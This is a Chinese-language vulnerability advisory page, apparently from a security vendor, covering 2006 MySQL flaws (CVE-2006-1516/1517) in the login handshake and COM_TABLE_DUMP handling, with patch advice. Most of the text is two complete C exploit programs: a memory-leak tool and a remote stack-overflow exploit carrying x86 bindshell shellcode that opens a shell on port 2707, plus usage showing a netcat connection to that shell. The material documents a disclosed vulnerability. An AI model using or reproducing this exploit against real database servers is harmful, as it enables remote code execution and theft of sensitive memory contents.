首页 -> 安全研究

安全研究

安全漏洞
MySQL远程信息泄漏和缓冲区溢出漏洞

发布日期:2006-05-02
更新日期:2006-05-08

受影响系统:
MySQL AB MySQL <= 5.0.20
不受影响系统:
MySQL AB MySQL 5.0.21
描述:
BUGTRAQ  ID: 17780
CVE(CAN) ID: CVE-2006-1516,CVE-2006-1517

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL存在多个漏洞可能导致泄漏内存数据或者恶意用户入侵系统

1. 匿名用户登录信息泄漏漏洞

通过创建特制的畸形登录报文,数据库返回信息中的数据库名会被一些未初始化的内存内容填充,从而导致信息泄漏。

假设MySql Server允许匿名访问。如果以用户“wisec”和口令“s”使用数据库“wisecdb”的话,正常的客户端会发送如下报文:

---------------------------------------------------------------
43 00 00 01 0d a6 03 00 00 00 00 01 08 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 77 69 73 65 63 00 14 aa 69 23 07 2a
ff 99 61 a3 c4 5f 04 66 3b 32 ef a1 f2 b6 59 77
69 73 65 63 64 62 00
C . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . w i s e c . . . i # . *
. . a . . _ . f ; 2 . . . . Y w
i s e c d b .
---------------------------------------------------------------

但在sql_parse.cc的993行check_connection(THD *thd)函数的代码中:

--
char *user= end;
char *passwd= strend(user)+1;
char *db= passwd;
char db_buff[NAME_LEN+1]; // buffer to store db in
utf8
char user_buff[USERNAME_LENGTH+1]; // buffer to store user
in utf8
uint dummy_errors;

uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
*passwd++ : strlen(passwd);
db= thd->client_capabilities & CLIENT_CONNECT_WITH_DB ?
db + passwd_len + 1 : 0;
[1]
/* Since 4.1 all database names are stored in utf8 */
if (db)
{
db_buff[copy_and_convert(db_buff, sizeof(db_buff)-1,
system_charset_info,
db, strlen(db),
thd->charset(), &dummy_errors)]= 0;
db= db_buff;
}

--

可见[1]处缺少对报文结构的检查。

如果用任何其他字节(如“wisec0”)替换用户名“wisec\0”末尾的空字节的话,就会为用户分配一些报文内容,为db分配一些packet_length之外的内存。

因此如果能够发送特制的报文的话,就可以得到类似于以下的错误消息:
Access denied for user ''@localhost to database 'lqt'

通过更改报文长度(db长度),恶意用户就可以获得敏感信息。

2. COM_TABLE_DUMP信息泄漏漏洞

通过创建无效的COM_TABLE_DUMP报文可能导致一个已认证用户获取服务器进程的特定内存数据。

MySQL服务器以如下方式等待伪造的报文:

packlen ,0x00 ,0x00 ,0x00 ,COM_TABLE_DUMP(0x13)

然后:

dblen, db_name , tbllen , tblname

解压的代码为:

sql/sql_parse.cc: line: ~1589

case COM_TABLE_DUMP:
{
char *db, *tbl_name;
uint db_len= *(uchar*) packet;
uint tbl_len= *(uchar*) (packet + db_len + 1);

statistic_increment(thd->status_var.com_other, &LOCK_status);
thd->enable_slow_log= opt_log_slow_admin_statements;
db= thd->alloc(db_len + tbl_len + 2);
if (!db)
{
my_message(ER_OUT_OF_RESOURCES, ER(ER_OUT_OF_RESOURCES), MYF(0));
break;
}
tbl_name= strmake(db, packet + 1, db_len)+1;
strmake(tbl_name, packet + db_len + 2, tbl_len);

mysql_table_dump(thd, db, tbl_name, -1);
break;

}

报文应类似于:

03 00 00 00 13 1 73 2f 1 74

以便在数据库“s”中请求表格“t”。

但由于没有对报文进行检查,因此如果创建以下报文的话:

03 00 00 00 13 len 73

就可以得到以下错误响应:

z^D#42S02Table 's.^D#42S02Table 's.z^D#42S02Table 's.' doesn't
exist'NULL'' doesn't ' doesn't exist

具体取决于len的值和内存内容。

tbl_len = *(uchar*) (packet + db_len + 1);

取得报文len以外的一些值,然后:

strmake(tbl_name, packet + db_len + 2, tbl_len);

会用tbl_name中的tbl_len拷贝内存内容,直到找到“\0”。

因此如果服务器中没有找到这个随机的名称的话,服务器就会用随机的内存内容返回错误,这可能包含有敏感信息

3. COM_TABLE_DUMP远程溢出

发送特制的COM_TABLE_DUMP报文可能引发一个栈缓冲区溢出,从而导致攻击者远程执行任意代码。

在sql/sql_base.cc的1090行:

TABLE *open_table(THD *thd, TABLE_LIST *table_list, MEM_ROOT *mem_root,
bool *refresh, uint flags)
{
reg1 TABLE *table;
char key[MAX_DBKEY_LENGTH];
uint key_length;
char *alias= table_list->alias;
HASH_SEARCH_STATE state;
DBUG_ENTER("open_table");
DBUG_PRINT("info", ("table_list:%x thd:%x %s",
table_list,thd,table_list->alias));
/* find a unused table in the open table cache */
if (refresh)
*refresh=0;

/* an open table operation needs a lot of the stack space */
if (check_stack_overrun(thd, STACK_MIN_SIZE_FOR_OPEN, (char *)&alias))
return 0;

if (thd->killed)
DBUG_RETURN(0);
key_length= (uint) (strmov(strmov(key, table_list->db)+1,
table_list->table_name)-key)+1;
int4store(key + key_length, thd->server_id);
int4store(key + key_length + 4, thd->variables.pseudo_thread_id);

选择有效负载及两个COM_TABLE_DUMP报文:

0x03, 0x00, 0x00, 0x00, 0x13, 0x02 , 0x73

其中db_len=2且tbl_len为超出报文的内存值,两个“strmov”就会覆盖大量内存,包括栈,因此可能导致执行任意代码。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114659581911418&w=2
        http://marc.theaimsgroup.com/?l=bugtraq&m=114659633220473&w=2
        http://secunia.com/advisories/19929/print/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

信息泄漏

/* ****************************************************************
  
  April 21.st 2006
  
  my_anon_db_leak.c

  MySql Anonimous Login Memory Leak
  
  MySql <= 5.0.20
  
  MySql <= 4.1.x
  
  copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)
  
  GPL 2.0
  ****************************************************************
  
  Disclaimer:

  In no event shall the author be liable for any damages
  whatsoever arising out of or in connection with the use
  or spread of this information.
  Any use of this information is at the user's own risk.
  
  ****************************************************************
  Compile with:
  gcc my_anon_db_leak.c -o my_anon_db_leak
  
  usage:
  my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip] [-p port_num] [-n db_len]
  
  
*/


#include <sys/types.h>
/* we need MSG_WAITALL - that's why this ugly #ifdef, why doesn't glibc2
have MSG_WAITALL in its <socketbits.h> ??
*/

#ifdef __linux__
#include <linux/socket.h>
#else
#include <sys/socket.h>
#endif
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/file.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>        /* sockaddr_in{} and other Internet defns */
#include <netdb.h>        /* needed by gethostbyname */
#include <arpa/inet.h>        /* needed by inet_ntoa */


char anon_pckt[] = {
  0x3d, 0x00, 0x00, 0x01, 0x0d, 0xa6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x14, 0x99, 0xdb, 0x54, 0xb6, 0x6a,
  0xd7, 0xc2, 0x86, 0x4c, 0x50, 0xa8, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 0x0d, 0xad, 0x45, 0x73,
  0x00
};                // len=16*4+1=65;


int anon_pckt_len = 65;

#define USOCK "/tmp/mysql2.sock"

int
tcp_conn (char *hostname, int port)
{

  int sockfd;
  int n;
  struct sockaddr_in servaddr;

  struct hostent *hp;



  if ((hp = gethostbyname (hostname)) == 0)
    {
      perror ("gethostbyname");
      exit (0);
    }

  if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror ("socket");
      exit (1);
    }

  bzero ((char *) &servaddr, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (port);

  memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);
  if (servaddr.sin_addr.s_addr <= 0)
    {
      perror ("bad address after gethostbyname");
      exit (1);
    }
  if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
    {
      perror ("connect");
      exit (1);
    }
  return sockfd;
}

int
unix_conn (char *path)
{
  int fd, len;
  struct sockaddr_un sa;

  fd = socket (PF_UNIX, SOCK_STREAM, 0);

  if (fd < 0)
    {
      perror ("cli: socket(PF_UNIX,SOCK_STREAM)");
      exit (1);
    }

  sa.sun_family = AF_UNIX;
  strcpy (sa.sun_path, path);
  len = sizeof (sa);
  if (connect (fd, (struct sockaddr *) &sa, len) < 0)
    {
      perror ("cli: connect()");
      exit (1);
    }
  return fd;
}

int
main (int argc, char *argv[])
{
  int fd;
  int i, ret;
  char packet[65535];
  char *path;
  char *host;
  int port = 3306;
  char buf[65535];
  int db_len = 0;
  int pckt_len = anon_pckt_len;
  int unix_sock = 1;
  char c;

  path = strdup (USOCK);
  host = strdup ("127.0.0.1");

  opterr = 0;

  while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)
    switch (c)
      {
      case 's':
    path = strdup (optarg);
    unix_sock = 1;
    break;
      case 'h':
    host = strdup (optarg);
    unix_sock = 0;
    break;
      case 'p':
    port = atoi (optarg);
    unix_sock = 0;
    break;
      case 'n':
    db_len = atoi (optarg);
    break;

      default:
    break;
      }


  bzero (packet, 65535);

  pckt_len = anon_pckt_len + db_len;
  printf ("%d\n", pckt_len);

  for (i = 0; i < pckt_len; i++)
    packet[i] = anon_pckt[i];

  if (db_len)
    for (i = anon_pckt_len - 2; i < pckt_len; i++)
      packet[i] = 'A';

  packet[pckt_len - 1] = '\0';

  packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;
  packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;
  for (i = 0; i < pckt_len; i++)
    printf (" %.2x%c", (unsigned char) packet[i],
        ((i + 1) % 16 ? ' ' : '\n'));
  printf ("\n");


  if (unix_sock)
    fd = unix_conn (path);
  else
    fd = tcp_conn (host, port);

  sleep (1);
  ret = recv (fd, buf, 65535, 0);
  if (send (fd, packet, pckt_len, 0) != pckt_len)
    {
      perror ("cli: send(anon_pckt)");
      exit (1);
    }

  ret = recv (fd, buf, 65535, 0);
  for (i = 0; i < ret; i++)
    printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));
  printf ("\n");
  return 0;
}

缓冲区溢出

/* ****************************************************************
  
  April 21.st 2006
  
  my_exploit.c

  MySql COM_TABLE_DUMP Memory Leak & MySql remote B0f
  
  MySql <= 5.0.20
  
  MySql COM_TABLE_DUMP Memory Leak
  
  MySql <= 4.x.x
  
  copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)
  
  GPL 2.0
  ****************************************************************
  
  Disclaimer:

  In no event shall the author be liable for any damages
  whatsoever arising out of or in connection with the use
  or spread of this information.
  Any use of this information is at the user's own risk.
  
  ****************************************************************
  
  compile with:
  gcc -Imysql-5.0.20-src/include/ my_com_table_dump_exploit.c  -Lmysql-5.0.20/lib/mysql/ -lmysqlclient -o  my_exploit

  Then:

  my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket]|[-h host][-p port]][-x]

  -H: this Help;
  -i: Information leak exploit (shows the content of MySql Server Memory)
  -x: shows c/s communication output in hexadecimal
  -t: hexadecimal table_list struct address (by default we try to find it automatically)
  -a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)
  -u: mysql username (anonymous too ;)
  -p: mysql userpass (if you need it)
  -s: the socket path if is a unix socket
  -h: hostname or IP address
  -P: port (default 3306)


  Example_1 - Memoryleak: my_exploit  -s socketpath -u username -i

  Example_2 - Remote Shell: my_exploit -h 127.0.0.1 -u username -a 0x8b1f468

  For memory leak:

  my_exploit -i [-u user] [-p password] [-s socket|[-h hostname [-P port]]]

  For the bindshell to port 2707
  my_exploit [-t 0xtableaddress] [-a 0xthdaddress] [-u user] [-p password] [-s socket|[-h hostname [-P port]]]

  then from another shell:
  nc 127.0.0.1 2707
  id
  uid=78(mysql) gid=78(mysql) groups=78(mysql)



*/

#include <stdio.h>
#include <mysql.h>
#include <unistd.h>



// we need to know the thread struct address pointer and the table_list.
// these are defaults, change them from command line.
int thd = 0x8b1b338;
int tbl = 0x8b3a880;

#define USOCK2 "/tmp/mysql.sock"

char addr_tdh[4];
char addr_tbl[4];
char addr_ret[4];

// constants to overwrite packet with addresses for table_list thread and our shell.
#define TBL_POS  182
#define THD_POS  178
#define RET_POS  174
#define SHL_POS  34

// bindshell spawns a shell with on port 2707
char shcode[] = {
  0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89    // 12
,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1
,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80
,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0
,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80
,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f
,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80    // 12*7= 84
};

int tmp_idx = 0;

int dump_packet_len = 7;
char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };

int payload_len = 371;
// header packet + select '1234567890...etc'
char query_payload[] = {
      0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33    // 16   Some junk from position 6 ...
    , 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36    // 32
    , 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39    // 48
    , 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34    // 64
    , 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32    // 72
    , 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35    // 88
    , 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38    // 94
    , 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a    // 112
    , 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3    // 128 endsh 118
    , 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d    // 144
    , 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63    // 160
    , 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d    // 176
    , 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x72, 0x72, 0x73, 0x73, 0x74, 0x74, 0x75    // 192 178
    , 0x75, 0x76, 0x76, 0x7a, 0x7a, 0x5f, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    // 208
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    // 224
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    // 240
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    // 256
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    // 272
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    // 288
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    //
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    //
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    //
    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d    //
    , 0x3d, 0x3d, 0x27
};                // 16*23+3 = 371




static int s = 0, c = 0;
int fd = 0;
int d = 1;
int hexdump = 0;
char buf[65535];


MYSQL *conn;            /* pointer to connection handler */


int
sendit (char *buf1, int fdest, int dblen)
{
  int len1;
  int i = 0;
  int ret = 0;
  printf ("%d\n", d);
  if (d == 2)
    {
      // let's prepare the query packet
      int o;
      int position = 14;

      tmp_idx = 3;


      int ret = tbl - 0x106 + 33;

      for (i = 0; i < 32; i += 8)
    addr_ret[tmp_idx--] = (ret >> i) & 0xff;

      tmp_idx = 3;
      for (i = 0; i < 32; i += 8)
    addr_tdh[tmp_idx--] = (thd >> i) & 0xff;

      tmp_idx = 3;
      for (i = 0; i < 32; i += 8)
    addr_tbl[tmp_idx--] = (tbl >> i) & 0xff;
      printf ("ret %x\n", ret);


#if 1
      tmp_idx = 0;
      for (o = THD_POS; o > THD_POS - 4; o--)
    query_payload[o] = addr_tdh[tmp_idx++];

      tmp_idx = 0;
      for (o = TBL_POS; o > TBL_POS - 4; o--)
    query_payload[o] = addr_tbl[tmp_idx++];

      tmp_idx = 0;
      for (o = RET_POS; o > RET_POS - 4; o--)
    query_payload[o] = addr_ret[tmp_idx++];
#else
      for (; position < payload_len - 12; position += 12)
    {
      tmp_idx = 0;
      printf ("p:%d\n", position);
      for (o = position + 4; o > position; o--)
        query_payload[o] = addr_ret[tmp_idx++];

      tmp_idx = 0;
      for (o = position + 8; o > position + 4; o--)
        query_payload[o] = addr_tdh[tmp_idx++];

      tmp_idx = 0;
      for (o = position + 12; o > position + 8; o--)
        query_payload[o] = addr_tbl[tmp_idx++];

    }

#endif

      tmp_idx = 0;
      for (o = SHL_POS; o < SHL_POS + 84; o++)
    query_payload[o] = shcode[tmp_idx++];

      printf ("entro\n");
      buf1 = query_payload;
      len1 = payload_len;
    }
  else if (d >= 3)
    {
      printf ("entro\n");

      // prepare table_dump request - PACK_LEN,  0x00,  0x00,  0x00,  COM_TABLE_DUMP (0x13),  DB_NAME_LEN (2) , RANDOM_CHAR (=0x73)
      buf1 = table_dump_packet;
      if (dblen >= 0)
    buf1[5] = (char) dblen;
      printf ("%x", (char) dblen);
      len1 = dump_packet_len;
    }
  d++;

  printf ("\nClient -> Server\n");
  if (hexdump)
    {
      for (i = 0; i < len1; i++)
    printf (" %.2x%c", (unsigned char) buf1[i],
        ((i + 1) % 16 ? ' ' : '\n'));
      printf ("\n");
      for (i = 0; i < len1; i++)
    {
      unsigned char f = (unsigned char) buf1[i];
      printf (" %.2c%2c", (isprint (f) ? f : '.'),
          (((i + 1) % 16) ? ' ' : '\n'));
    }
    }
  if (send (fd, buf1, len1, 0) != len1)
    {
      perror ("cli: send(buf3)");
      exit (1);
    }



  fdest = fd;

  memset (buf, 0, 65535);
  ret = recv (fdest, buf, 65535, 0);
  printf ("\nServer -> Client\n");
  if (hexdump)
    {
      for (i = 0; i < ret; i++)
    printf (" %.2x%c", (unsigned char) buf[i],
        ((i + 1) % 16 ? ' ' : '\n'));
      printf ("\n");
      for (i = 0; i < ret; i++)
    {
      unsigned char f = (unsigned char) buf[i];
      printf (" %.2c%2c", (isprint (f) ? f : '.'),
          ((i + 1) % 16 ? ' ' : '\n'));
    }
    }
  else
    {
      printf ("\n%s\n", buf + 5);
    }
// printf("\nSending to client\n");
// ret= send(c, buf,  ret, 0);

  return 0;
}

usage ()
{
  printf
    ("\nusage my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket]|[-h host][-p port]][-x]\n\n\
-H: this Help;\n\
-i: Information leak exploit (shows the content of MySql Server Memory)\n\
-x: shows c/s communication output in hexadecimal\n\
-t: hexadecimal table_list struct address (by default we try to find it automatically)\n\
-a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)\n\
-u: mysql username (anonymous too ;)\n\
-p: mysql userpass (if you need it)\n\
-s: the socket path if is a unix socket\n\
-h: hostname or IP address\n\
-P: port (default 3306)\n\n\nExample_1 - Memoryleak: my_exploit -h 127.0.0.1 -u username -i\n\n\
Example_2 - Remote Shell on port 2707: my_exploit -h 127.0.0.1 -u username -a 0x8b1b338 -t 0x8b3a880\n\n\
");

}

int
main (int argc, char *argv[])
{

  int fdest = 0;
  int port = 3306;
  int shell = 1;
  int force_table = 0;
  char buf1[65535];
  char *socket;
  char *user = NULL;
  char *pass = NULL;
  char *host = NULL;
  socket = strdup ("/tmp/mysql2.sock");
  opterr = 0;

  while ((c = getopt (argc, argv, "s:t:a:P:Hh:u:p:ix")) != -1)
    switch (c)
      {
      case 's':
    socket = (char *) optarg;
    break;
      case 't':
    force_table = 1;
    tbl = (int) strtol (optarg, NULL, 16);
    //tbl=atoi(  optarg );
    break;
      case 'a':
    thd = (int) strtol (optarg, NULL, 16);
    break;
      case 'u':
    user = (char *) optarg;
    break;
      case 'p':
    pass = (char *) optarg;
    break;
      case 'P':
    port = atoi (optarg);
    break;
      case 'h':
    host = (char *) optarg;
    break;
      case 'i':
    shell = 0;
    break;
      case 'x':
    hexdump = 1;
    break;
      case 'H':
    usage ();
    return 1;
      default:
    break;
      }

  if (!force_table)
    tbl = thd + 0x1f548;
  conn = mysql_init (NULL);
  int ret = mysql_real_connect (conn,    /* pointer to connection handler */
                host,    /* host to connect to */
                user,    /* user name */
                pass,    /* password */
                NULL,    /* database to use */
                0,    /* port (use default) */
                socket,    /* socket (use default) */
                0);    /* flags (none) */

  if (!ret)
    {
      fprintf (stderr, "Can't connect, error : %s\n", mysql_error (conn));
      return 1;
    }
  printf ("using table_list:%x  thread:%x\n", tbl, thd);

  fd = conn->net.fd;

  if (shell)
    {
      d = 2;
      sendit (buf1, fdest, -1);
      d = 3;
      sendit (buf1, fdest, -1);
      d = 3;
      sendit (buf1, fdest, -1);
    }
  else
    {
      int l;
      d = 3;
      for (l = 0; l < 256; l++)
    {
      sendit (buf1, fdest, l);
    }
    }
  mysql_close (conn);

  exit (0);
}

建议:
厂商补丁:

MySQL AB
--------
目前厂商已经在5.0.21及以后版本的软件中修复了这个安全问题,请到厂商的主页下载:

http://dev.mysql.com/get/Downloads/MySQL-5.0/mysql-5.0.21.tar.gz/from/pick

浏览次数:5434
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障